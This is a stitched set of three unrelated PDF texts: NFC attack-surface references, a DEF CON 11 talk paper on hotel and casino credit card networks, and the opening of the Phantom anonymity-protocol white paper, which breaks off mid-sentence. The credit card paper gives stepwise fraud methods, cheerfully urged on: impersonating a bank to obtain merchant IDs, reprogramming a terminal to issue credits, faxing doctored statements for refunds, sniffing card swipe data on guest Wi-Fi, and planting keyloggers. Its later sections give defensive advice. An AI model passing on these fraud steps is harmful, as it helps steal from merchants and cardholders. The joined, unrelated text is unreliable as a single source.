Type 3 Tag Operation Specification http://apps4android.org/nfc-specifications/ NFCForum-TS-Type-3-Tag_1.1.pdf [9] Type 4 Tag Operation Specification http://apps4android.org/nfc-specifications/ NFCForum-TS-Type-4-Tag_2.0.pdf [10] Logical Link Control Protocol NFCForum-TS-LLCP_1.1 [11] NFC Data Exchange Format (NDEF) http://www.maintag.fr/fichiers/pdf-fr/nfcforum- ts-ndef-1-0.pdf [12] NFC Record Type Definition (RTD) http://www.maintag.fr/fichiers/pdf-fr/nfcforum-ts- rtd-1-0-1.pdf [13] Text Record Type Definition http://www.maintag.fr/fichiers/pdf-fr/nfcforum-ts-rtd- text-1-0.pdf [14] proxmark3 http://proxmark3.com/ [15] NFC Digital Protocol ftp://ftp.heanet.ie/disk1/sourceforge/n/project/nf/nfsresearch/ Open%20NFC/custom_layout12.pdf [16] Fuzzing the Phone in your Phone http://www.blackhat.com/presentations/bh- usa-09/MILLER/BHUSA09-Miller-FuzzingPhone-PAPER.pdf [17] Android NPP push protocol http://source.android.com/compatibility/ndef-push- protocol.pdf [18] Simple NDEF Exchange Protocol Technical Specification [19] Platform Versions http://developer.android.com/resources/dashboard/platform- versions.html [20] Discover Android http://www.android.com/about/ [21] SNEP protocol and P2P response http://www.libnfc.org/community/topic/559/ android-nfc-snep-protocol-and-p2p-response/ [22] http://2012.hackitoergosum.org/blog/wp-content/uploads/2012/04/HES-2012- rlifchitz-contactless-payments-insecurity.pdf [23] Long range NFC Detection, http://www.youtube.com/watch?v=Wwy8ButHbcU [24] Zero-Permission Android Applications http://leviathansecurity.com/blog/archives/17- Zero-Permission-Android-Applications.html Charlie Miller: Exploring the NFC Attack Surface [25] Practical attacks on NFC enabled cell phones, Verdult and Kooman, http:// www.cs.ru.nl/~rverdult/Practical_attacks_on_NFC_enabled_cell_phones-NFC11.pdf [26] http://www.libpng.org/pub/png/libpng.html Other useful references: Securing Near Field Communications, Kortvedt, http://ntnu.diva-portal.org/smash/get/ diva2:347744/FULLTEXT01 ISO 14443 Library Reference Guide http://www.ti.com/rfid/docs/manuals/refmanuals/ RF-MGR-MNMN-14443-refGuide.pdf Near Field Communication http://en.wikipedia.org/wiki/Near_field_communication NDEF Push / Android Beam / NFC Tags Demo Applet http://grundid.de/nfc/ Charlie Miller: Exploring the NFC Attack Surface
pdf
Credit Card Networks 101 What they are, and how to secure them by Robert Imhoff-Dousharm About this document While this serves as a simi-detailed account of said speech at Def-Con 11, it does leave holes in material to be presented. Some things are better spoken out, and better interpreted by mannerisms and body language, or even overhead projector diagrams. Further, as I do hope this is at high levels of information to assist in learning of credit card networks, it cannot be complete due to exploits, and resolutions, unknown to me. My knowledge of this technologies my increase by the time this paper is published, and at a "best effort" I will disclose such information, if lacking here in. For these reason, please do not attribute below information as full, when considering "propagating" elsewhere. Please also note that I will refer to mostly hotels and resorts in the document. These vendors have the largest vulnerable target currently in the credit card market. They are also more likely to have these type of systems due to their sheer size. Other market segments do have this networks, if you would like to know more about them, please drop the author a line Introduction Credit card networks have grown into a viable and necessary asset in large transaction based businesses. Are these networks protected? Are there formal security measures to protect these packets from external, and internal threats? Most network administrators, controllers(CTO) and CIO's are not even aware of credit card's flow or existence on a network. Further some over protect their switched network, disabling these systems from working correctly. One needs to have knowledge of these networks, know the possible exploits, and how to secure them. Part 1 What are credit card networks, and what is their base design + introduction to credit card flow to bank Section 1 How Credit card data gets from point A to point B So what is the flow of credit cards? Does your card get swiped, then magically the money is removed from your account? Well obviously not. Lets take a look into what is involved. So in a nutshell, your flow looks like this (see visual slide attached). Your card gets swiped at a credit card terminal, lets say a Visa card. Then the information off your magnetic stripe gets put into a buffer on the terminal, or is sent to a main processing terminal on or off site. Using either a dial-up modem or a lease line, your card information is transmitted to a front end processor'. A front end processor works as a "Clearing house" for all banks associated with your card type. The FEP will then generate a transaction ID to your card. The processor will contact your bank electronically through a private lease line. It will ask two basic questions Is this a valid account at your bank? Does this account have "X" funds available? If your bank replies yes to both questions, the FEP will ask the bank to "Hold" (this is a very important point) "X" funds, for a preset amount of time, the bank will do so, then provide a 6 digit approval code to be sent back to the merchant. Here the FEP updates your transaction status in their system and adds an authorization flag. This flag will either be "A" for authorized, "D" for decline, or "R" for voice referral. There are some other flags, but they are for error reporting, and will not be coved here. Now the FEP sends a response back to the terminal at the merchant, and reports transaction guidance to the clerk, e.g. have customer sign receipt, call voice referral center for further guidance, decline acceptance of card. This is considered the "Authorization cycle" of a card. At then end of every night, an auditor or clerk, will 'close' the credit cards that were swiped through out the day. When the cards are 'closed' this triggers the "Settlement Cycle". During this stage the terminal will contact the FEP through the dial-up or leased line connection. It will then upload a batch of cards, beginning with a totals report, and ending with a totals report. This is because cards do not get sent with error checking enabled, for security reasons. When your card gets 'closed', the FEP pulls up your transaction record, then checks your authorization code in the terminal with the one they have on file, it then contacts your issuing bank, and asks that funds be moved. The bank then uses a back end processor to move funds to the merchants account, this is automated through the F.E.P. There are lots of extra steps involved, and manipulation of transfers in between. Today will be going over the added steps between the card swipe and the FEP, our credit card networks. Section 2 How standard credit card networks work In many situations, a credit card network is needed. Some examples are casinos, hotels, resorts, and retail chains. When you have a standard casino setup that includes four restaurants, one box office, one front desk, three bars, and a gift shop, getting all the cards balanced at the end of the night can be an interesting feat. Not to mention the IT over head in keeping these 'Island' terminals up and running. To reduce the headache of this nightly job, many large merchants have consolidated the process of authorizing cards, enter credit card networks. In our casino example we have ten merchants that require multiple POS (point of sale) devices, and the ability to authorize cards. This site has a front desk property management system, a food and beverage software package (2 restaurants, 3 bars) and a lightweight POS system for the box office and gift shop. In the front desk setup, they have five terminals that can check clients into the hotel, all networked with Ethernet to a main server that is used for client tracking, and data mining. It can send credit card authorization request to an authorization terminal over the network to a credit card authorization server, and have it patch into a credit card FEP front end. Any time the cards are swiped, they will follow this path across your internal network. Our sample network has a grand total of 22 registers across 3 different types of POS systems, and they are from two different vendors. They are connected to the CC Server using an API approach, all moving across ethernet to get there. This is a typical setup at many resort and casino's, especially here in town (Las Vegas, NV, USA). With our sample network shown above, there are lots of area's for exploits, especially in the hospitality industry. So what are this risks? Where do they come from? Part 2 The inherit risks from simple to complicated Section 1 Social Engineering a) Getting money using a credit card terminal How can we use our charisma to get vendor information, and free money? With the above network style's in a very infant stage currently, there are lots of kinks to be worked out. If you have the right tools, and TLA's, you can get what you need from a merchant. Call a hotel, say your with an issuing bank, and you need there voice merchant account of that site. You need this to verify that their client was actually at your hotel, and you think someone is using a card in a fraudulent way. Hell give them your credit card number if they want to look up the guest, they won't find it, but will give you the voice referral merchant ID. Step one is done! Call their F.E.P. give them the merchant ID, let them know that there is a problem with your credit card terminal. Ask if they can help you re download the terminal. They will gladly help out. Using your own credit card machine, you follow there instructions, and get a fresh terminal. Wow! Now you have your very own money making machine! Give you and your friends credits (to a Swiss bank?). Buy an unsecured credit card from Walgreens and they will activate your own non-existents bank account! You money launders can figure out the rest from there. b) Getting money directly from the merchant Through my travels in the credit card industry, I have seen many - for lack of a better word - ignorant clerks and auditor. One good example was this 200 room hotel, with a jittery accounting auditor. She reported that a front desk clerk attempted to authorize a client card, and the bank responded with a decline. The clerk let the guest check in anyway, stating that they would need to get payment fixed on check out. This guests card account was closed, and they knew that it would not go through. When they left, with an outstanding bill, the hotel had to "zero" the balance without receiving money. So instead of voiding the card from their PMS system, they issued a credit to zero the system! That's right, they gave the declined card over $1000 USD! So what can this tell us about social engineering at the merchant level? It's a lot easier to get money from a hotel, then to get cell phone source code from Nokia. You have photo shop and on-line banking right? Can your statement printout show 2 charges on your card suddenly? Sure it can. Faxing it to a hotel to get the second charge reversed to a credit, sure why not! Does it work, yes. This summer alone, I have spotted over 20 fraud clams based on this concept, because auditors were confused if they should issue a credit. 2 of which they sent a credit to their client, then called call me for assurance! Section 2 Network and Internet based attacks a) Attacking from inside the network Using shared networks. Too often a hotel will boost "we have Internet access in every room, and Wi-Fi in the lobby!" and not realize that they are giving their customers access to the same shared media as their credit cards! The latest crazy in resorts and hotels, large and small, is high speed Internet access. They love to boast that they have Wi-Fi access points in their lobby, and Internet hook-up's in every room. This is a great point of attack for anyone who would like to gain access to credit card numbers. Remember in the credit card network example, all of the point of sales systems connect to the main authorization engine using an API approach over ethernet. The company usually does not put firewalls in place to segregate cooperate traffic, and guest traffic. Thus a simple port sniffing program, similar to F.B.I.'s carnivore, can grab all the packets on their network. Once you have your target computers IP, based on collected packets, you can grab all the credit card packets from the PMS to the terminal all day long. While this will obviously give you access to all the card numbers, and expiration date, it also give you something more important, swipe data. With swipe data, you can use this to create your very own cards, based on information collected. This is assuming you have a card magnet machine, which is not cheap. But any pro can just walk in and have a field day. Even for the weekend hacker, just having CVV2 data, Names, zip codes, card numbers, expiration date, should do just fine as well. b) Attacking from outside the network in Now what if they don't provided Internet access to their clients, how could we get card data? Through their non-existent firewall. Picture this I get a call in from a site that just got setup. They report that their credit card terminal is not authorizing cards. So first I check to see if the software is running correctly. On the software, it reports that there is an Internet connection problem. I ask the client about his network, and how he connects to the Internet, it went something like this, "Oh I have 3 computers connected to this LinkSYS firewall / router / switch. Yeah this thing is great, it connects all my computers to the Internet". I nearly shit a brick. "So you have your credit card terminal going out to the Internet through this device, with no firewall to protect your network?" I inquire. "No, no, it is a firewall router combo, see I do have a firewall protecting me!" He proclaims. "Does it deny incoming packets on X port? You know the one that our software is running on?" "Uh, well, I don't know what X port is, or what a "port" is, is this bad?" Lets elaborate a possible situation. I'm a port scanning freak, doing the rundown of the neighbors on my net block, and I run across a response on "X" port from this guys so called "firewall". "Why what is this?". I quickly start monitoring packets, and find credit card data! Jackpot! Good for me, not good for $59 all in one router hotel. Get the point? So what are you waiting for start scanning! Section 3 Reading ip packets from a PMS to a credit card terminal When sending credit card packets across a "trusted" network, there usually is no encrypting of data. So when you grab these packets, they are usually clear text. So how do we understand what really in them? Writing the code for an API interface can be pretty straight forward on the socket end, open a port and listen for incoming traffic, when received, examine data, and push to an authorization process. So how can we read the data coming in on said open port? Well this data can be sent three basic ways ASCII (clear text), binary, or as encrypted traffic (which would first be unwrapped, then sent to get authorized. Since this data is coming from a different (usually) vendors software, they usually same their programers the time, and only have ASCII sent across from their interface. This is of course, overly simplified, but will use this for our example. Most packets that come across usually do not need to be read in a hex editor, just opening notepad, and sifting through the junk will be enough. With these packets, certain fields must be transmitted (card number, exp date, dollar amount, etc.). If it is coming across clear it will usually read Client Name X Card Number X EXP Date X Invoice X Auth Type X AVS X CVV2 X Primary Amount X Secondary Amount X This will have date and time marked with each line of information, and there are dozens of other fields that can be sent as well, such as corporate ID (for lower discount rates) and checksum information. The point here is, after staring at your captured data, it will only take about 5 min to figure out what is what from an ASCII data stream, as surprisingly, programers make transmission of this data very high level. Section 4 The ex-employee So you can't get the grasp of the check-in process, or you really don't know how to balance the books that well, so the company let you go. But, you didn't think this was fair, you tell all your friend that this hotel is a shady place, and the manager is a prick. What if one of those friends was 1337, and took interest in this... So your jerk-off friend, who has a different job every other month tells you that his last one was bull shit. He goes on to say "That place is a dump, hell one time the manager change my password and didn't tell me". You push for him to tell you more. "Well, it's everyone's password, he did it on accident, because he though he was logged in with his account". Everyone's passwords? "Yeah, we all logged in with the same user and password, why?" So you take that user name and password, and get out of him that they use "2000Blue front desk suite". You learn about this software, and pay a visit to the hotel. "Hi, I'm Joe from 2000Blue, I came to apply a patch to your software, Jake "the boss" Johnson should have called to tell you I was coming in..." Or. Stop on by when they have low volume at front desk, hop in and drop your key logger / spyware into the system, you have the password. Now you get emailed credit card numbers! In summary, you all have big imagination with what you could do with default user name/passwords, have a field day! Section 5 The main point When you have a small medium or large business, it's always important to have good security. Most of these examples, and my credit card experience, is in the hospitality industry. For some odd reason, they never got the memo that security is a good thing. Most are focused on "Customer Satisfaction" "Tai Chi / Guest experience" and, for smaller hotels, easy money with a simple business plan. This leaves the hotel industry wide open for exploits when the upgrade their credit card authorization to internal networks tying into modems and the Internet. Even with the flood of computer professionals on the market, they look to the bottom line, and cannot justify "proactive" hiring, only seasonal "reactive". Further the credit card industry is very loose and dynamic right now. There are many unregulated area's, even for an industry as sensitive as it is. There has been no real push to make it fully secure, so this leaves us with a new target to lean in on. What if I did work at a hotel, and I wanted to protect my card assets? What would be necessarily? Is it all that hard to secure my credit card networks? Part 3 How this can be avoided Section 1 Protecting against social engineering There are many different ways to protect against this method, good and bad. When a client of mine went overboard, and thought he was being attacked by terrorist, calling his manager and demanding the police put a trace on his phone- This for me calling in to do a software patch update - things can obviously get out of hand. But it does not have to be that tight. If someone calls in to do work, call them back, listen for an automated service that give out the company name. Check that the number they provide is the same you have on file when you call them. Call the vendor back, but only with the support number you have. When people want free money from you, sometimes training the whole staff will not get the message across, and it can coast too much, if it will only happen once to you. Delegate one or two people, maybe an auditor, who can handle charge back requests exclusively. Always, always, always call your bank to verify that money was or was not deposited into your account from said client, don't assume your system is right, or the client for that matter. This applies, even if they fax a statement in. Section 2 Protecting your network What merchants fail to understand is that they have a large amount of sensitive data going across their network, and they have no concept of "Plugging holes". Even in a half-hearted way. We are in the middle of a bad recession, now more then every merchants are using "If it's not broke..." analogy's to justify why they leave back doors open. They refuse to invest money into protected their most valuable assets, their clients. Even still, just investing in good security practices, and making even a modest investment in network security would close 99% of the hacks they are currently exposed to. Using unique ID's is not just good practice, it is a regulation for anyone entering in, or accessing credit cards to a credit card network. Limiting access and rights also falls under this category. Make sure when someone gets fired, their accounts are deactivated. Have cooperate traffic separate from client "in room" traffic, and Wi-Fi hot spots in the lobby is also essential. Having a business class firewall is required for all merchants who propagate traffic across the Internet, secured or not. When big credit card vendors (Visa, Master Card, etc) really start their audit of merchants, fines can and will be accrual, and acceptance rights will be revoked. This of corse, is pretty obvious to you, but not to the non-existent network administrators out there. My only point with firewalls everyone knows, close all ports, period. What hard about opening a port for credit card traffic with a rule like "allow ip from x to y out established portx" and "deny ip from y to x in portx". Well to that effect anyway. Section 3 Protecting you against yourself Although many sites may be locked down, and traffic separated, there still lays a risk of compromise. A smart hack may work part-time for you, helping out to make ends meet during the recession, or just cause it's a quick buck during his college years. As small as computers are getting, he could drop one in on your network and still grab packets. What can be done about these obscure threats? Encrypt traffic from POS systems to Credit Card Terminal systems. Adding services like internal VPN or Stunnel technology would plug up this type of hole. Even if you could not afford to segregate traffic, simply putting this in place would null in void 90% of problems to began with. Another afterthought on protecting you against you, mission critical, it is a good word to label a credit card terminal. Most cc network terminals are nothing more then software and services installed on windows and UNIX based PC's. It shows fitting that some see this computer as a multimedia device, an Internet terminal, or even an extra computer used for LAN games. During your boring life as a sales associate, playing games on your cell phone, or bringing in a Game Boy can help. But it's this easy to use a device for something other then it's purpose, such as a cell phone, that drives people to this madness. When I questioned my co- worker on why someone would do this he replied "If a normal credit card terminal at the register could play video games, they would install them on it!" I guess this is human nature. My reply STOP IT! Don't waste my time because a virus got on your credit card terminal, because the email told you to run it's attached program. And yes this is the hell that is my day to day routine, like said before, people just don't care, and these things happen. Part 4 General Points of interest Section 1 Visa CISP (Cardholder Information Security Program) Visa CISP Audit guideline is a great place to start when attempting to protect your business from credit card fraud electronically. CISP stands for "Cardholder Information Security Program". It has been in existence for over 2 years, although it has only been fully implemented and followed in recent months. Following basic guidelines that they have provided will surely give you more piece of mind. They have created a "Digital Dozen(tm)" list. This list is their twelve basic steps you can use to protect your credit card network. They are Install and maintain a working firewall, keep patches up-to-date, protect stored data, encrypt data across public networks, use anti-virus software, restrict access, use unique ID's for your users, avoid vendor default passwords, track access to data, have a security audit regularly, have an information security policy, restrict physical access to data. Now obviously these are all "Duh" remarks, but, remember some of my cases studies. Companies have no regard for these simple to implement systems. Further they are in violation of Visa policy when they do not comply with the "Digital Dozen(tm)" program. So, just setup a security audit, take the time to update service packs, and create unique user ID's. For heaven's sake, get rid of that lynksys route / firewall / WEP / cheese grader! Section 2 Unavoidable Threats Although you can do your part, and protect your information to a "T", sometimes this is not enough. F.E.P.'s and ISO's can sometimes be lazy, and not make full checks of your identity. For this reason, basic card terminals are being cloned every day. Sometimes by people who work for these companies, and have full access to merchant information. While the industry is working to get better security in place, there is still no "Great White Hype" as of yet. This is why I am strongly against these terminals. With credit card networks, their is a higher attention to detail with security, and the software is not fully available to the public. Until a more premeditate solution is in place, all you can do is keep close tabs on your bank accounts. Conclusion Basically, as long as merchants take their networks from an objective standpoint, and put good procedures in place, they should have nothing to worry about. But, if they do not, watch out, because now they have an army of enlightened soldiers coming after them! Use last 10 min. for Q/A of credit card networks References Notice These resources were used to either assist in creating this paper, or are links to many related topic's. These list are not a complete guild to their parent fields, but more as pointers to 'general' resources. Security Resources - Visa CISP Audit http//www.usa.visa.com/business/merchants/cisp_index.html World Wide E-Commerce Fraud Prevention Network http//www.merchantfraudsquad.com/index.html General On-line Resources - Flow of credit cards http//www.usa.visa.com/business/merchants/guide_to_transaction.html?it=h2_/index.html Transaction World Magazine http//www.transactionworld.com/ Terminal Resources - Hypercom http//www.hypercom.com/ Programming guides to Hypercom terminals http//www.hypercom.com/products/Download.asp?Nav=66&Nav=65 Verifone http//www.verifone.com/ Programming guide to Verifone terminals http//www.verifone.com/pdf/tcl_ref.pdf Credit Card Network Vendors - Auric Systems http//www.auricsystems.com/ CC Bill http//www.ccbill.com/ CyberSource http//www.cybersource.com/products_and_services/electronic_payments/ eOne Global http//www.eoneglobal.com/ Go Software http//www.pccharge.net/ I4 Commerce http//www.i4commerce.com/ IC Verify http//www.icverify.com/ Infinet Incorporated http//www.infinet-inc.com/qs.asp?page_id=3&site_id=1 Infospace Corporation http//www.authorize.net/ Paymetric Corporation http//www.paymetric.com/ Shift4 Corporation http//www.shift4.com/ UniComp http//www.unicomp.com/products/software/cambire/about/ Verisign http//www.verisign.com/products/payflow/pro/index.html/ Front End Processors - 1st Horizon 1st Tennessee http//www.firsttennessee.com/ft_docs/cfm/biz.cfm? section=biz&menu=corp_biz&body=corp_merchant_services 5th/3rd Bank http//www.53.com/ Electronic Clearing House ECHO http//www.echo-inc.com/ First Data Corporation FDC, FDR, Nabanco, Chase, CardNET http//www.firstdata.com/index.jsp Global Payment Processing NDC, MAPP, GPP, MDI http//www.globalpaymentsinc.com/index2.asp Nova Processing (not affiliated with Discover/NOVUS) http//www.novainfo.com/ Paymentech http//www.paymentech.net/ Vital Processing VisaNET, Visa http//www.vitalps.com/ Credit Card Issuer Resources - American Express http//www.americanexpress.com/ Diners Club http//www.dinersclub.com/ Discover Card / Novus http//www.discovercard.com/ JCB (Japan Credit Bureau) Card http//www.jcb.co.jp/index2.html Master Card http//www.mastercardintl.com/cgi-bin/index.cgi Visa http//www.visa.com/ eof
pdf
White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 1(68) Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 2(68) 1. Abstract Recent years, and especially this past year, have seen a notable upswing in developments toward anti-online privacy around the world, primarily in the form of draconian surveillance and censorship laws (both legislated and suggested) and ISPs being pressured into individually acting as both police and informants for various commercial interests. Once such first steps have been taken, it is of course also of huge concern how these newly created possibilities could be used outside of their originally stated bounds, and what the future of such developments may hold in store for online privacy. There are no signs of this trend being broken anytime soon. Combined with the ever growing online migration of everything in general, and privacy sensitive activities in particular (like e.g. voting, all nature of personal and interpersonal discussions, and various personal groupings), this trend will in turn unavoidably lead to a huge demand for online anonymization tools and similar means of maintaining privacy. However, if not carefully designed, such anonymization tools will, ultimately, be easy targets for additional draconian legislation and directed [il]legal pressure from big commercial and political interests. Therefore, a well-conceived, robust and theoretically secure design for such an anonymization protocol and infrastructure is needed, which is exactly what is set out to be done with this project. What is presented in this paper is the design of a protocol and complete system for anonymi- zation, intended as a candidate for a free, open, community owned, de facto anonymization standard, aimed at improving on existing solutions such as e.g. TOR − from the viewpoint of the needs of today and tomorrow − and having the following important main properties and goals: 1. Completely decentralized. − No critical or weak points to attack or put [il]legal pressure on. 2. Maximum resistance against all kinds of DoS attacks. − Direct technical destructive attacks will be the only possible practical way to even attempt to stop it. 3. Theoretically secure anonymization. − Probabilistic methods (contrary to deterministic methods) must be used in a completely decentralized design like this, where no other peer can be trusted, so focus is put on optimizing these methods. 4. Theoretically secure end-to-end transport encryption. − This is simple in itself, but still important in the context of anonymization. 5. Completely (virtually) isolated from the "normal" Internet. − No one should have to worry about crimes being perpetrated from their own IP address. 6. Maximum protection against identification of protocol usage through traffic analysis. − You never know what the next draconian law might be. 7. Capable of handling larger data volumes, with acceptable throughput. − Most existing anonymization solutions are practically unusable for (or even prohibit) larger data volumes. 8. Generic and well-abstracted design, compatible with all new and existing network enabled software. − Software application developer participation should not be needed, it should be easy to apply the anonymization to both new and already existing products like e.g. web browsers and file transfer software. The Phantom protocol has been designed to meet all these requirements, and will be presented in this paper. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 3(68) TABLE OF CONTENTS 1. ABSTRACT.................................................................................................................................2 2. INTRODUCTION — ANONYMITY IN THE CONTEXT OF THIS PAPER .....................................5 3. FURTHER DEFINITIONS AND LIMITATIONS ............................................................................8 3.1. DESIGN ASSUMPTIONS............................................................................................................8 3.2. IMPORTANT CONSEQUENCES OF DESIGN GOALS AND ASSUMPTIONS ...........................................8 3.3. DESIGN DIRECTIVES ...............................................................................................................8 4. DESIGN GOALS OF THE PROTOCOL.......................................................................................9 4.1. COMPLETE DECENTRALIZATION................................................................................................9 4.2. MAXIMUM RESISTANCE AGAINST ALL KINDS OF DOS ATTACKS ....................................................9 4.3. THEORETICALLY SECURE ANONYMIZATION................................................................................9 4.4. THEORETICALLY SECURE END-TO-END ENCRYPTION .................................................................9 4.5. COMPLETE (VIRTUAL) ISOLATION FROM THE "NORMAL" INTERNET..............................................10 4.6. MAXIMUM PROTECTION AGAINST PROTOCOL IDENTIFICATION/PROFILING....................................10 4.7. HIGH TRAFFIC VOLUME AND THROUGHPUT CAPACITY ..............................................................11 4.8. GENERIC, WELL-ABSTRACTED AND BACKWARD COMPATIBLE DESIGN ........................................11 5. BIRD’S-EYE VIEW OF THE PROTOCOL..................................................................................12 5.1. SOME INITIAL DEFINITIONS ....................................................................................................12 5.2. A FIRST GLANCE ..................................................................................................................12 5.3. A LITTLE FURTHER LOOK ......................................................................................................13 6. HIGH-LEVEL DESIGN ..............................................................................................................14 6.1. SOME FURTHER DEFINITIONS ................................................................................................14 6.2. ROUTING PATHS...................................................................................................................14 6.3. ROUTING TUNNELS...............................................................................................................16 6.4. AP ADDRESSES ...................................................................................................................18 6.5. THE NETWORK DATABASE.....................................................................................................19 7. LOW-LEVEL DESIGN...............................................................................................................20 7.1. ROUTING PATHS...................................................................................................................20 7.2. ROUTING TUNNELS...............................................................................................................35 7.3. SECURE END-TO-END ENCRYPTION AND AUTHENTICATION.......................................................54 7.4. THE NETWORK DATABASE.....................................................................................................55 7.5. ADDITIONAL DETAILS ............................................................................................................59 8. LEGAL ASPECTS AND IMPLICATIONS ..................................................................................60 8.1. ON A TECHNICAL LEVEL ........................................................................................................60 8.2. ON A LEGAL/LICENSE RELATED LEVEL....................................................................................61 9. REVIEW OF DESIGN GOALS...................................................................................................62 9.1. MATCHING OF DESIGN GOALS WITH FEATURES OF THE PROTOCOL............................................62 10. KNOWN WEAKNESSES.......................................................................................................64 11. COMPARISON WITH OTHER ANONYMIZATION SOLUTIONS............................................66 11.1. ADVANTAGES OF PHANTOM OVER TOR...............................................................................66 11.2. ADVANTAGES OF PHANTOM OVER I2P.................................................................................67 11.3. ADVANTAGES OF PHANTOM OVER ANONYMIZED FILE SHARING SOFTWARE .............................67 12. SUMMARY AND FUTURE OF THE PROTOCOL ..................................................................68 12.1. CENTRAL PROJECT LOCATION............................................................................................68 White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 4(68) TABLE OF FIGURES FIGURE 1. ONE-WAY ANONYMIZED COMMUNICATION, OVERVIEW .......................................................... 12 FIGURE 2. TWO-WAY ANONYMIZED COMMUNICATION, OVERVIEW.......................................................... 13 FIGURE 3. ROUTING PATH, OVERVIEW ....................................................................................................... 15 FIGURE 4. TWO-WAY ANONYMIZED CONNECTION, INVOLVING TWO ROUTING PATHS/TUNNELS.......... 16 FIGURE 5. ONE-WAY ANONYMIZED CONNECTION, INVOLVING ONE ROUTING PATH/TUNNEL ............... 17 FIGURE 6. ROUTING PATH CREATION, STEP 1 ........................................................................................... 20 FIGURE 7. ROUTING PATH CREATION, STEP 2 ........................................................................................... 20 FIGURE 8. ROUTING PATH CREATION, STEP 3 ........................................................................................... 21 FIGURE 9. ROUTING PATH CREATION, STEP 7 ........................................................................................... 23 FIGURE 10. ROUTING PATH CREATION, FIRST ROUND COMPLETED........................................................ 23 FIGURE 11. ROUTING PATH CREATION, STEP 11 ....................................................................................... 25 FIGURE 12. ROUTING PATH CREATION, STEP 12 ....................................................................................... 26 FIGURE 13. THE COMPLETED ROUTING PATH, RECOGNIZABLE FROM PREVIOUSLY IN THIS PAPER.... 26 FIGURE 14. ANONYMIZED NODE () WANTING TO CONNECT TO A NON-ANONYMIZED NODE () .......... 35 FIGURE 15. NON-ANONYMIZED NODE () WANTING TO CONNECT TO AN ANONYMIZED NODE ()........ 36 FIGURE 16. ANONYMIZED NODE () WANTING TO CONNECT TO ANOTHER ANONYMIZED NODE () .... 37 FIGURE 17. OUTBOUND ROUTING TUNNEL CREATION, STEP 3 ................................................................ 39 FIGURE 18. OUTBOUND ROUTING TUNNEL CREATION, STEP 8 ................................................................ 40 FIGURE 19. OUTBOUND ROUTING TUNNEL CREATION, STEP 15 .............................................................. 41 FIGURE 20. OUTBOUND ROUTING TUNNEL CREATION, COMPLETED....................................................... 41 FIGURE 21. INBOUND ROUTING TUNNEL CREATION, STEP 1.................................................................... 42 FIGURE 22. INBOUND ROUTING TUNNEL CREATION, STEP 3.................................................................... 43 FIGURE 23. INBOUND ROUTING TUNNEL CREATION, STEP 10.................................................................. 44 FIGURE 24. INBOUND ROUTING TUNNEL CREATION, COMPLETED........................................................... 45 FIGURE 25. HIGH-AVAILABILITY ROUTING PATH WITH DOUBLE REDUNDANCY....................................... 59 White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 5(68) 2. Introduction — Anonymity in the Context of This Paper Anonymity can mean a lot of different things depending on the context in which it is used. In order to avoid any misunderstandings in this paper, we will begin with a definition of anonymity in the context at hand, which at the same time just might give some insight into other aspects and motivations of this paper too. Anonymity at its simplest core could be described as the inability for (all) other parties to discover, in a given context, the identity of the party defined as being anonymous. Well then you say, what is the definition of identity? In the context of this paper, and most other contexts dealing with individual human beings, the identity of a person could be defined as the set of information that directly, conclusively and uniquely describes and singles out that individual among all other human beings in this world (and possibly other worlds too, depending on one’s religious preferences). That is, more practically, the information needed to be able to show up on a particular person’s doorstep, or at least file a (non-John Doe) lawsuit against them. The subject of “John Doe lawsuits”, in turn (which is a law suit directed at a party whose real identity has not yet been discovered) brings us to the subject of pseudonymity, which is related to, and could perhaps be called “a lower form” of, anonymity. Under pseudonymity, a party can operate without revealing its real identity, but various acts performed can still all be connected and bound to this same entity, i.e. to its pseudonym identity. This pseudonym identity, in turn, runs the risk of being connected to the real identity at some later point in time, and, if and when that occurs, any act already connected to the pseudonym identity will be instantly attached to the real identity, even though this real identity was not known at the time the acts were committed. Going one step further in defining the concept of anonymity in the context of this paper, which in turn deals primarily with anonymity in the context of Internet communications, we present here below examples of some different practical and theoretical levels of anonymity that exist on the Internet today: • For those most blissfully ignorant Internet users, the Internet seemingly offers complete anonymity. As far as these are concerned, you can just register a Hotmail address under an imaginary name, an ICQ account with a naughty handle, an Internet dating site account with a picture of David Hasselhoff, and then start enjoying your new and alternative identity, without anyone ever being able to expose you or do the first thing to prevent it. — Complete anonymity. Diplomatic immunity of the Internet kind, woohoo! • At the next level of enlightenment, the first problems of pseudonymity start to become apparent to the previously so blissfully ignorant Internet user. It actually turns out that if you start pumping out Viagra spam from your Hotmail or ICQ account, or start to sexually harass just a few too many people over at that Internet dating site, your über anonymous email, ICQ and Internet dating accounts will be reported to their individual service providers, who will shut them down and maybe even send an angry letter to that other ultra anonymous email address that you were just about to start using for your latest body part enlargement product marketing campaign. Your pseudonyms have been tracked down and taken to justice for your actions, and you now think you’re starting to catch on to what that local EFF activist was going on and on about before you slammed the door in his face. — Replaceable pseudonymity. Ok, whatever, you can always register another email account. • At yet the next level of enlightenment, just when your latest massive Hotmail-borne Cialis spam campaigns and your email trojan hobby project of finding naked pictures of people on their home computers were starting to take off, it seems like some evil ultra haxor have tracked down something called your “IP address”, and sent a bunch of abuse reports to all those nice service providers that make your fledgling business enterprise so enjoyable. Now all of a sudden you can’t seem to register any more batches of Hotmail White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 6(68) addresses with that cool Russian program, nor register any more Internet dating accounts with pictures of David Hasselhoff. And to top it off, that nosy ISP of yours even had the nerve to send a rude warning letter to your home, saying something about unacceptable behavior, service agreements and other legal mumbo jumbo. Where the hell do they get off saying something like that, not to mention how on earth could they know anything about what you’ve been doing in the first place? What, do they have spies looking in on people’s computer screens though their windows now? After pulling down all the curtains, moving the radio-button in the cool Russian program from “Hotmail” to “Gmail”, and finally managing to find another Internet dating site that apparently didn’t find it affordable to pay the membership fee to the international black list of dating site weirdos, pervs and just plain too ugly people, you really start to regret that you didn’t at least give the EFF guy the opportunity to move his face out of the way before slamming the door, realizing now that he might actually have been on to something there. — Non-replaceable pseudonymity, the ISP seems to have some magical way of knowing what you do, but 